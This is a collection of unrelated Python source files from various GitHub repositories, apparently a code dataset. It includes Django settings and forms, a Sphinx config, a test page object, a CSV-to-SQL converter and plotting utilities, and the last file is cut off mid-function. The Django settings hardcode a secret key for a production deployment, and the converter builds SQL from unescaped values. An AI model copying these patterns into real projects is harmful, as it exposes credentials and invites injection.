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f9e85c3a39933df7478edef51d0e3d6b2c4b2f15 | 340b3f3a2472d39bc7418c0568adedff3f42f849 | /example/guard.py | 19c155f5ccae016398d0819b14dbd79b5c625b83 | [] | no_license | shen-will/py_guard | 206600a23595517e8ed1def58830e93c7eed78c7 | a1dd7743f241de15f2478ca3abeac59335584445 | refs/heads/master | 2020-09-10T23:22:45.063067 | 2019-11-15T07:05:54 | 2019-11-15T07:05:54 | 221,863,661 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,152 | py | import boot
import py2pyx
import os
import shutil
import logging
py2pyx.set_encode(boot.encode)
py2pyx.set_decode(boot.decode)
#project entry
entry = "app.py"
py_boot = "boot.py"
output_dir = "guard"
def clear_workspace():
if os.path.exists(output_dir):
for dirpath,dirs,filenames in os.walk(output_dir):
for name in filenames:
os.remove(os.path.join(dirpath,name))
else:
os.mkdir(output_dir)
pass
def build():
clear_workspace()
# project source excluce entry
project_src = []
for dirpath, dirnames, filenames in os.walk("./"):
for fname in filenames:
if not fname.endswith(".py") or fname == entry or \
fname == py_boot or fname == "guard.py" or fname == "setup.py":
continue
project_src.append(os.path.join(dirpath, fname))
logging.basicConfig(level=logging.DEBUG, format='%(levelname)s: %(message)s')
logging.info("start encode....")
for src in project_src:
if not src.endswith(".py"):
continue
logging.info(src)
pyc_path = src + "c"
if os.path.exists(pyc_path):
os.remove(pyc_path)
py2pyx.py2pyx(src)
pyc_guard = os.path.join(output_dir, os.path.basename(pyc_path))
if os.path.exists(pyc_path):
shutil.move(pyc_path, pyc_guard)
if not os.path.exists(pyc_guard):
logging.error(src + " encode fail")
exit(-1)
logging.info(py_boot)
py2pyx.boot_encode(py_boot)
pyc_boot_path = py_boot + 'c'
if not os.path.exists(pyc_boot_path):
logging.error(py_boot + ' encode fail')
exit(-1)
shutil.move(pyc_boot_path, os.path.join(output_dir, os.path.basename(pyc_boot_path)))
logging.info(entry)
shutil.copy(entry, os.path.join(output_dir, os.path.basename(entry)))
# logging.info("py_guard.so")
# shutil.copy("py_guard.so",os.path.join(output_dir,os.path.basename("py_guard.so")))
logging.info("[success! %d file encode to %s]" % (len(project_src), output_dir))
pass
if __name__ == "__main__":
build()
| [
"[email protected]"
] | |
a8cbd5304f49414fc009d39c58453e3125ea0347 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2162/60642/271978.py | 21491e3ebf8b02f3ffeb54854511ba826017221e | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 111 | py | nums = [float(i) for i in input().split()]
out = 1
for i in range(int(nums[1])):
out=out*nums[0]
print(out) | [
"[email protected]"
] | |
db25d011efbedfce01e05e234cc93421b560abb6 | a0fbf1cf0920c31dde56ee9376b5865abbe0a283 | /docs/conf.py | 15d2c8d49e380b40e0f9d78a4ec5ba70f87bdab9 | [
"BSD-3-Clause"
] | permissive | laurennk/cookiecutter | cb37e9dad3722dc7bcabd1f4686c2ce1f27a9675 | c1a03338ba6463d5e87a68ba980933bcab8fcd33 | refs/heads/master | 2020-07-04T04:28:34.014104 | 2019-08-13T19:14:30 | 2019-08-13T19:14:30 | 202,156,233 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,321 | py | # -*- coding: utf-8 -*-
#
# Configuration file for the Sphinx documentation builder.
#
# This file does only contain a selection of the most common options. For a
# full list see the documentation:
# http://www.sphinx-doc.org/en/stable/config
# -- Path setup --------------------------------------------------------------
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
# Incase the project was not installed
import os
import sys
sys.path.insert(0, os.path.abspath('..'))
import cookiecutter
# -- Project information -----------------------------------------------------
project = 'CookieCutter'
copyright = ("2019, Lauren. Project structure based on the "
"Computational Molecular Science Python Cookiecutter version 1.0")
author = 'Lauren'
# The short X.Y version
version = ''
# The full version, including alpha/beta/rc tags
release = ''
# -- General configuration ---------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#
# needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
'sphinx.ext.autosummary',
'sphinx.ext.autodoc',
'sphinx.ext.mathjax',
'sphinx.ext.viewcode',
'sphinx.ext.napoleon',
'sphinx.ext.intersphinx',
'sphinx.ext.extlinks',
]
autosummary_generate = True
napoleon_google_docstring = False
napoleon_use_param = False
napoleon_use_ivar = True
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
#
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'
# The master toctree document.
master_doc = 'index'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This pattern also affects html_static_path and html_extra_path .
exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'default'
# -- Options for HTML output -------------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
html_theme = 'sphinx_rtd_theme'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#
# html_theme_options = {}
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# Custom sidebar templates, must be a dictionary that maps document names
# to template names.
#
# The default sidebars (for documents that don't match any pattern) are
# defined by theme itself. Builtin themes are using these templates by
# default: ``['localtoc.html', 'relations.html', 'sourcelink.html',
# 'searchbox.html']``.
#
# html_sidebars = {}
# -- Options for HTMLHelp output ---------------------------------------------
# Output file base name for HTML help builder.
htmlhelp_basename = 'cookiecutterdoc'
# -- Options for LaTeX output ------------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#
# 'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#
# 'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#
# 'preamble': '',
# Latex figure (float) alignment
#
# 'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(master_doc, 'cookiecutter.tex', 'CookieCutter Documentation',
'cookiecutter', 'manual'),
]
# -- Options for manual page output ------------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(master_doc, 'cookiecutter', 'CookieCutter Documentation',
[author], 1)
]
# -- Options for Texinfo output ----------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(master_doc, 'cookiecutter', 'CookieCutter Documentation',
author, 'cookiecutter', 'A short description of the project.',
'Miscellaneous'),
]
# -- Extension configuration -------------------------------------------------
| [
"[email protected]"
] | |
e6783b8029425cead151f4e40dd3331e1ad9307d | cdcc82bcd10635ec315df766a036302e3614ecb2 | /src/page_obj/pages/Checkout.py | 1c19c3a774435284b88a4d67620b5a21c974ca28 | [] | no_license | casewebb/FullStory_Automation | 74f4f1a4e7340c3c4c5e9db6e09586b02ee6a25c | bbdd3aade94e459015121185ceee1c8be2d04c17 | refs/heads/master | 2023-08-18T13:31:52.758003 | 2021-09-24T14:56:53 | 2021-09-24T14:56:53 | 409,812,973 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,314 | py | from faker import Faker
from src.page_obj.Locators import Locator
from src.page_obj.pages.Base import BasePage
class CheckoutPage(BasePage):
PURCHASE_LINK = "Purchase"
BILLING_ADDRESS = "Billing Address"
SHIPPING_ADDRESS = "Shipping Address"
PAYMENT_DETAILS = "Payment Details"
SAME_AS_BILLING = "Same as billing address."
CONFIRM_CBX = "You sure you want this fruit?"
fake = Faker()
def fill_out_address(self, section):
name = self.fake.name().split()
address_1 = '{building_num} {street}'.format(building_num=self.fake.building_number(),
street=self.fake.street_name())
bill_ship = self.BILLING_ADDRESS if section.lower() == 'billing' else self.SHIPPING_ADDRESS
self.send_text_by_section_and_label(bill_ship, "First Name", name[0])
self.send_text_by_section_and_label(bill_ship, "Last Name", name[1])
self.send_text_by_section_and_label(bill_ship, "Address 1", address_1)
self.send_text_by_section_and_label(bill_ship, "Address 2", self.fake.secondary_address())
self.send_text_by_section_and_label(bill_ship, "City", self.fake.city())
self.send_text_by_section_and_label(bill_ship, "Zip Code", self.fake.postcode())
self.select_dropdown_by_section_and_label(bill_ship, "State", self.fake.state_abbr())
def set_same_as_billing_checked(self, checked):
ele = self.driver.find_element_by_xpath(Locator.checkbox_by_label.format(label_text=self.SAME_AS_BILLING))
if checked and not ele.is_selected():
ele.click()
elif not checked and ele.is_selected():
ele.click()
def fill_out_payment(self):
self.send_text_by_section_and_label(self.PAYMENT_DETAILS, "Credit Card Number", self.fake.credit_card_number())
self.send_text_by_section_and_label(self.PAYMENT_DETAILS, "Security Code",
self.fake.credit_card_security_code())
self.select_dropdown_by_section_label_count(self.PAYMENT_DETAILS, "Expiration", 1,
self.fake.month().lstrip('0'))
self.select_dropdown_by_index(self.PAYMENT_DETAILS, "Expiration", 2, 3)
self.click_checkbox_by_label(self.CONFIRM_CBX)
| [
"[email protected]"
] | |
41cc3b0a4dfcde97f3d1a8c8f12525bf7b174093 | 5e56afad7b7da0135576fec692990e202dac98dd | /FirstPro/FirstPro/items.py | ab15ab2d11ce160fddf1bae2bfa2a8fd39dfbce6 | [] | no_license | lxorz/ScrapyDemo_new | 33472b2b81ce0b0e1517f19bf61812bb9313f8be | 060eaeb2b1bb6cf84f0ea5ed7939293e7766022c | refs/heads/master | 2020-04-16T10:18:14.288003 | 2019-01-13T11:57:02 | 2019-01-13T11:57:02 | 165,499,317 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 281 | py | # -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/items.html
import scrapy
class FirstproItem(scrapy.Item):
# define the fields for your item here like:
# name = scrapy.Field()
| [
"[email protected]"
] | |
3d2c91ab2682f88f418cd8c5c9049f64d7e4973e | 1e5bc206c760d6543768f835be0a112da45c84af | /flask/2.PackagedApp/PackagedApp.wsgi | d75d598b84c5e8aaa3dfaec1a9497b72c8a49915 | [] | no_license | msagautam/docker | 9efff85f6a15a874c0a06ae6479ba4c8d9d3960f | 03d1f6b2186e9286151fdfce9410d8d4185f0f68 | refs/heads/master | 2023-05-14T02:06:46.264398 | 2020-06-08T15:29:55 | 2020-06-08T15:29:55 | 263,859,509 | 0 | 1 | null | 2023-05-01T20:41:07 | 2020-05-14T08:34:39 | Python | UTF-8 | Python | false | false | 394 | wsgi | #!/usr/bin/python
import sys
import logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/")
# Virtual env activation
#activate_this = '/path/to/env/bin/activate_this.py'
#execfile(activate_this, dict(__file__=activate_this))
from PackagedApp import app as application
application.secret_key = 'your secret key. If you share your website, do NOT share it with this key.'
| [
"[email protected]"
] | |
bbdc0f983f3651518973629255273e7c51f671d5 | 82d6e248d6498f53455f9ccb40b6ff9667da8f2e | /Params/cv_params.py | a90d413f3fc604ca2eb926d871cecd0eef586906 | [] | no_license | marvinxu-free/data_analysis | 650ddf35443e66c395c8c503cacc328e547298a5 | 7a552959fd6272a54488c59091fa8b820c3f19ce | refs/heads/master | 2020-03-22T04:00:09.938423 | 2018-07-02T16:32:20 | 2018-07-02T16:32:20 | 139,466,395 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 434 | py | # -*- coding: utf-8 -*-
# Project: local-spark
# Author: chaoxu create this file
# Time: 2017/10/13
# Company : Maxent
# Email: [email protected]
cv_params = {
'pre_dispatch': '2*n_jobs',
'refit': True,
'scoring': 'roc_auc',
# 'scoring':'f1_macro',
# 'scoring':'average_precision',
# 'scoring':'accuracy',
# 'scoring':'recall',
'cv': 5,
'n_jobs': -1,
"iid": False,
'verbose': 0
}
| [
"[email protected]"
] | |
8d983a912308bcfc6136f04b18791bd0eea629bb | da56dd222cb165f70b021e26963e5faa744168c0 | /Inventory/settings.py | 4d05e8b35a044622c37339844091395cd5269840 | [] | no_license | mohankmn/congenial-train | 7c0558c351c50c91447d09ad2a305d3e78722492 | 8f3caaea28112567e4d6e59cbd8cdf1774c7f784 | refs/heads/master | 2023-03-03T03:42:08.598885 | 2021-02-17T11:47:30 | 2021-02-17T11:47:30 | 314,130,458 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,437 | py | """
Django settings for Inventory project.
Generated by 'django-admin startproject' using Django 3.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from pathlib import Path
import os
import django_heroku
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'yc##of9a8il-1r8yrd3+xf#+3sc8l&u(2_^qxwnf6eco4o_&6c'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
ALLOWED_HOSTS = ['invcontrolapp.herokuapp.com', 'localhost', '127.0.0.1']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'data',
'crispy_forms',
'register.apps.RegisterConfig',
'csvs'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'Inventory.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [
os.path.join(BASE_DIR,'templates')
],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'Inventory.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# Password validation
# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.1/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
CRISPY_TEMPLATE_PACK = 'bootstrap4'
# Activate Django-Heroku.
django_heroku.settings(locals()) | [
"[email protected]"
] | |
86f8e74ca81e9e6f34963564d493aad09861aaa5 | d3b162461f129858fbc7f61aa45064bd5c3f7a4f | /old/image_convert.py | 211ae8a9bb524c40cc4356ce6e097765de0d9337 | [] | no_license | mikemeding/batch-convert-and-merge | 2f7523cb4f0db0e3ea40152fc2d3418bf10f0f9c | 49673389325d32126be0ddeb4a3a1f850b263e2b | refs/heads/master | 2021-07-11T19:44:24.108958 | 2021-02-28T23:38:38 | 2021-02-28T23:38:38 | 235,146,102 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 153 | py | # ./20.01/LeftPL/20.01_LeftPL_7_1.tif
import sys
import imagej
imgPath = str(sys.argv[1])
print('Converting: ' + str(sys.argv[1]))
ij = imagej.init()
| [
"[email protected]"
] | |
81ed3dcbff8edda8b54da97b7b5c12ded266b671 | a5a9b8da861ba4964802e554b2bb064f45802c09 | /data_generator/csv_details_to_sql.py | 09aca83f504ac56bc86689f10f7de2eb86070fd1 | [] | no_license | bantser/Lv_608.DB | ba9bff47f6adf063e4062a3e2c1fd0acf5741b35 | 83838255cf9533f5dddad096cdea37861e1931ec | refs/heads/main | 2023-06-27T15:28:03.286481 | 2021-07-19T08:04:31 | 2021-07-19T08:04:31 | 379,222,467 | 2 | 0 | null | 2021-06-22T20:44:39 | 2021-06-22T10:01:19 | null | UTF-8 | Python | false | false | 914 | py | import csv
inputFilename = "PurchaseOrderDetails.csv"
outputFilename = "PurchaseOrderDetails.sql"
tableName = 'PurchaseOrderDetails'
chunksize = 1000
openInFile = open(inputFilename, 'r')
openOutFile = open(outputFilename, 'w')
csvFile = csv.reader(openInFile)
header = next(csvFile)
headers = list(header)
headers_without_id = list(headers)[1:]
insert = f"INSERT INTO {tableName} ({', '.join(headers_without_id)}) VALUES"
openOutFile.write(insert + '\n')
cntr = 0
for row in csvFile:
values = row[1:]
if cntr < chunksize-1:
val_statement = f"({', '.join(values)}),"
openOutFile.write(val_statement + '\n')
cntr += 1
else:
val_statement = f"({', '.join(values)});"
openOutFile.write(val_statement + '\n')
openOutFile.write(insert + '\n')
cntr = 0
openInFile.close()
openOutFile.close()
print(f"Done! Saved in {outputFilename}") | [
"[email protected]"
] | |
c53617a9f877099d700dced03ddccbdc2430a98c | ac00003e67c7eb035c94741d058f751e5b3e7a94 | /askapp/forms.py | 5e7c99cbaa580b99c615ce81901af35a5c08823d | [
"Apache-2.0"
] | permissive | BanzaiTokyo/askapp | 6c0bdec6ed24b1e5fa856540dafe6295a2718b74 | 250dea680eafde81491492a84826d368a01bb8ed | refs/heads/master | 2023-08-17T05:57:40.790152 | 2021-04-08T18:54:20 | 2021-04-08T18:54:20 | 67,356,664 | 3 | 2 | Apache-2.0 | 2021-09-22T17:38:49 | 2016-09-04T16:42:00 | Python | UTF-8 | Python | false | false | 4,743 | py | import urllib.request
from snowpenguin.django.recaptcha2.fields import ReCaptchaField
from snowpenguin.django.recaptcha2.widgets import ReCaptchaWidget
from allauth.account.forms import SignupForm
from django.utils.translation import ugettext_lazy as _
from django import forms
from .models import Profile, Thread, Post
from askapp import settings
class RecaptchaRegistrationForm(SignupForm):
tos = forms.BooleanField(widget=forms.CheckboxInput,
label=_('I have read and agree to the Terms of Service'),
error_messages={'required': _("You must agree to the terms to register")})
captcha = ReCaptchaField(widget=ReCaptchaWidget())
@staticmethod
def is_email_blacklisted(email):
try:
sfs_url = f'http://api.stopforumspam.org/api?email={email}'
contents = urllib.request.urlopen(sfs_url).read()
return b'<appears>yes</appears>' in contents
except Exception:
return any([email.lower().endswith('@'+d) for d in settings.BLACKLISTED_DOMAINS])
def save(self, request):
user = super().save(request)
email = self.cleaned_data.get("email")
if email and self.is_email_blacklisted(email):
user.is_active = False
user.save()
return user
class ProfileForm(forms.ModelForm):
is_active = forms.BooleanField(required=False)
class Meta:
model = Profile
fields = ('avatar', 'country', 'city', 'about')
widgets = {
'country': forms.Select(attrs={'class': 'form-control'}),
'city': forms.TextInput(attrs={'class': 'form-control', 'placeholder': _('Enter your city')}),
'about': forms.Textarea(attrs={'class': 'form-control', 'rows': 3}),
}
class ConstanceClearableFileInput(forms.widgets.ClearableFileInput):
template_name = 'admin/askapp/constance_file_input.html'
def is_initial(self, value):
return bool(value)
class ThreadForm(forms.ModelForm):
class Meta:
model = Thread
fields = ('thread_type', 'original', 'link', 'title', 'text', 'tags', 'image')
widgets = {
'original': forms.TextInput(),
'image': forms.widgets.ClearableFileInput()
}
error_messages = {
'original': {
'invalid_choice': _('This thread is not found'),
},
}
def __init__(self, user, *args, **kwargs):
super(ThreadForm, self).__init__(*args, **kwargs)
if self.instance and not self.instance.id:
self.instance.user = user
if not user.is_staff:
self.fields['thread_type'].choices = (
tt for tt in Thread.TYPES_OF_THREAD
if tt[0] not in [Thread.DUPLICATE, Thread.VIDEOSTREAM]
)
elif not user.is_staff:
self.fields.pop('thread_type')
def clean_original(self):
if self.instance and self.instance == self.cleaned_data.get('original'):
raise forms.fields.ValidationError('Cannot reference itself as a duplicate')
return self.cleaned_data.get('original')
def clean(self):
cleaned_data = super(ThreadForm, self).clean()
link = cleaned_data.get("link")
thread_type = cleaned_data.get("thread_type")
#if thread_type and self.initial.get('thread_type', thread_type) != thread_type and not self.user.is_staff and not self.has_error('title'):
# self.add_error('title', 'You are not allowed to change the thread type')
if thread_type in Thread.TYPES_WITH_LINK and not self.has_error('link'):
if not link:
msg = _("This field is required")
self.add_error('link', msg)
else:
youtube_info = Thread(link=link).parse_youtube_url()
if youtube_info:
exists = Thread.objects.filter(link__contains=youtube_info['id']).exclude(id=self.instance.id)
if len(exists):
msg = _("Sorry, someone has already posted this video")
self.add_error('link', msg)
elif thread_type == Thread.YOUTUBE:
msg = _("This is not a Youtube URL")
self.add_error('link', msg)
elif self.has_error('link') and thread_type not in Thread.TYPES_WITH_LINK:
del self.errors['link']
class ReplyForm(forms.ModelForm):
is_answer = forms.BooleanField(required=False)
class Meta:
model = Post
fields = ('text', 'is_answer')
widgets = {
'text': forms.Textarea(attrs={'class': 'form-control', 'rows': 5}),
}
| [
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] | |
af39e9a770317784ace4420a98689ed84357f0d4 | d0b49b4072b09c59f81e25b80bad6f2535d839b5 | /day_1_5/day_2.py | 2b8c38c96927069002fc853d3855ad0ab0d10d79 | [] | no_license | Official-BlackHat13/100_days_of_python | 3aa9c52617cd50addc2d2b8b7222b93080ffab6c | 94cbf52df8e5712d1bdf7b2890568dfa20fe92df | refs/heads/master | 2023-09-04T05:08:24.867559 | 2021-10-24T14:43:21 | 2021-10-24T14:43:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 378 | py | print('welcome to the tim calculator!')
bill = input('bill: ')
tip_percentage = input('percentage of the tip you want to give: ')
persons = input('number of people who eated: ')
tip = (float(bill) * float(tip_percentage)) / 100
total_bill = (float(bill) + float(tip))
bill_per_person = float(total_bill) / float(persons)
print('each person should pay ' + str(bill_per_person))
| [
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] | |
552cecee22760fca63c793185a2c7fc54fd727a3 | 3980749637737b3e1cd589f7a4e8733eaa5f2cf9 | /neuroplotlib/utils.py | 17839aba4a4ca0089d9b90f4dbb882097ac02299 | [] | no_license | alejoe91/neuroplotlib | 7200664872a04ed0173ca0d337e12234c4c5692e | 9ad8d8e23850cd50ad0368f0f19acf2b48b87f5c | refs/heads/master | 2023-08-02T07:22:10.658339 | 2021-09-27T09:40:10 | 2021-09-27T09:40:10 | 118,170,362 | 3 | 1 | null | 2021-09-27T09:40:10 | 2018-01-19T19:43:43 | Python | UTF-8 | Python | false | false | 11,068 | py | import numpy as np
import math
from mpl_toolkits.mplot3d import art3d
from matplotlib import colors as mpl_colors
from mpl_toolkits.mplot3d.art3d import Poly3DCollection
def make_patch_3d(pathpatch, rot_axis, angle, z=0):
"""
Transforms a 2D Patch to a 3D patch using the given normal vector.
The patch is projected into they XY plane, rotated about the origin
and finally translated by z.
"""
path = pathpatch.get_path() # Get the path and the associated transform
trans = pathpatch.get_patch_transform()
path = trans.transform_path(path) # Apply the transform
pathpatch.__class__ = art3d.PathPatch3D # Change the class
pathpatch._code3d = path.codes # Copy the codes
pathpatch._facecolor3d = pathpatch.get_facecolor # Get the face color
verts = path.vertices # Get the vertices in 2D
M = _rotation_matrix(rot_axis, angle) # Get the rotation matrix
pathpatch._segment3d = np.array([np.dot(M, (x, y, 0)) + (0, 0, z) for x, y in verts])
def pathpatch_2d_to_3d(pathpatch, z=0, normal='z'):
"""
Transforms a 2D Patch to a 3D patch using the given normal vector.
The patch is projected into they XY plane, rotated about the origin
and finally translated by z.
"""
if type(normal) is str: # Translate strings to normal vectors
index = "xyz".index(normal)
normal = np.roll((1.0, 0, 0), index)
normal /= np.linalg.norm(normal) # Make sure the vector is normalised
path = pathpatch.get_path() # Get the path and the associated transform
trans = pathpatch.get_patch_transform()
path = trans.transform_path(path) # Apply the transform
pathpatch.__class__ = art3d.PathPatch3D # Change the class
pathpatch._code3d = path.codes # Copy the codes
pathpatch._facecolor3d = pathpatch.get_facecolor # Get the face color
verts = path.vertices # Get the vertices in 2D
d = np.cross(normal, (0, 0, 1)) # Obtain the rotation vector
M = _rotation_matrix_sin(d) # Get the rotation matrix
pathpatch._segment3d = np.array([np.dot(M, (x, y, 0)) + (0, 0, z) for x, y in verts])
def pathpatch_translate(pathpatch, delta):
"""
Translates the 3D pathpatch by the amount delta.
"""
pathpatch._segment3d += delta
def get_polygons_for_cylinder(pos_start, direction, length, radius, n_points, facecolor='b', edgecolor='k', alpha=1.,
lw=0.):
"""
Returns polygons from a cylinder
Parameters
----------
pos_start: np.array
3D position of the bottom of the cylinder
direction: np.array
Cylinder direction
length: float
Length of the cylinder
radius: float
Radius of the cylinder
n_points: int
Number of points for polygons
facecolor: Matplolib color
Color of the faces
edgecolor: Matplolib color
Color of the edges
alpha: float
Alpha value
lw: float
Linewidth of the edges
Returns
-------
collection: Matplotlib rd cllection
Collection of polygons making up the cylinder
"""
n_points = int(n_points)
x, y, z = _cylinder(pos_start,
direction,
length,
radius,
n_points)
alpha_tup = alpha,
edge_col = mpl_colors.to_rgb(edgecolor) + alpha_tup
face_col = mpl_colors.to_rgb(facecolor) + alpha_tup
theta_ring = np.linspace(0., np.pi * 2., n_points)
verts_hull = []
for idx_theta, crt_theta in enumerate(theta_ring):
if idx_theta <= theta_ring.size - 2:
x_verts = [x[idx_theta],
x[idx_theta + 1],
x[idx_theta + 1 + theta_ring.size],
x[idx_theta + theta_ring.size]]
y_verts = [y[idx_theta],
y[idx_theta + 1],
y[idx_theta + 1 + theta_ring.size],
y[idx_theta + theta_ring.size]]
z_verts = [z[idx_theta],
z[idx_theta + 1],
z[idx_theta + 1 + theta_ring.size],
z[idx_theta + theta_ring.size]]
verts_hull.append(zip(x_verts, y_verts, z_verts))
poly3d_hull = []
for crt_vert in verts_hull:
cyl = Poly3DCollection([list(crt_vert)], linewidths=lw)
cyl.set_facecolor(face_col)
cyl.set_edgecolor(edge_col)
cyl.set_alpha(alpha)
poly3d_hull.append(cyl)
# draw lower lid
x_verts = x[0:theta_ring.size - 1]
y_verts = y[0:theta_ring.size - 1]
z_verts = z[0:theta_ring.size - 1]
verts_lowerlid = [list(zip(x_verts, y_verts, z_verts))]
poly3ed_lowerlid = Poly3DCollection(verts_lowerlid, linewidths=lw, zorder=1)
poly3ed_lowerlid.set_facecolor(face_col)
poly3ed_lowerlid.set_edgecolor(edge_col)
poly3ed_lowerlid.set_alpha(alpha)
# draw upper lid
x_verts = x[theta_ring.size:theta_ring.size * 2 - 1]
y_verts = y[theta_ring.size:theta_ring.size * 2 - 1]
z_verts = z[theta_ring.size:theta_ring.size * 2 - 1]
verts_upperlid = [list(zip(x_verts, y_verts, z_verts))]
poly3ed_upperlid = Poly3DCollection(verts_upperlid, linewidths=lw, zorder=1)
poly3ed_upperlid.set_facecolor(face_col)
poly3ed_upperlid.set_edgecolor(edge_col)
poly3ed_upperlid.set_alpha(alpha)
return_col = poly3d_hull
return_col.append(poly3ed_lowerlid)
return_col.append(poly3ed_upperlid)
return return_col
##### from plotting convention ######
def mark_subplots(axes, letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ', xpos=-0.05, ypos=1.05, fs=50):
"""
Marks axes with letters
Parameters
----------
axes: list
List of Matplotlib axes to mark
letters: list
List of sequential characters (default alphabet)
xpos: float
x-position with respect to each axis (default -0.05)
ypos: float
y-position with respect to each axis (default 1.05)
fs: int
Fontsize of the letters
"""
if not type(axes) is list:
axes = [axes]
for idx, ax in enumerate(axes):
# Axes3d
try:
ax.text2D(xpos, ypos, letters[idx].capitalize(),
horizontalalignment='center',
verticalalignment='center',
fontweight='demibold',
fontsize=fs,
transform=ax.transAxes)
except AttributeError:
ax.text(xpos, ypos, letters[idx].capitalize(),
horizontalalignment='center',
verticalalignment='center',
fontweight='demibold',
fontsize=fs,
transform=ax.transAxes)
def simplify_axes(axes):
"""
Removes top and right spines from axes
Parameters
----------
axes: list
List of Matplotlib axes to simplify
"""
if not type(axes) is list:
axes = [axes]
for ax in axes:
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)
ax.get_xaxis().tick_bottom()
ax.get_yaxis().tick_left()
def color_axes(axes, color):
"""
Colors axes spines
Parameters
----------
axes: list
List of Matplotlib axes to simplify
color: Matplotlib color
The color to be used
"""
if not type(axes) is list:
axes = [axes]
for ax in axes:
ax.tick_params(axis='x', colors=color)
ax.tick_params(axis='y', colors=color)
for spine in ax.spines.values():
spine.set_edgecolor(color)
####### HELPER #########
def _rotation_matrix(axis, theta):
"""
Return the rotation matrix associated with counterclockwise rotation about
the given axis by theta radians.
"""
axis = np.asarray(axis)
theta = np.asarray(theta)
axis = axis / np.linalg.norm(axis)
a = math.cos(theta / 2.0)
b, c, d = -axis * math.sin(theta / 2.0)
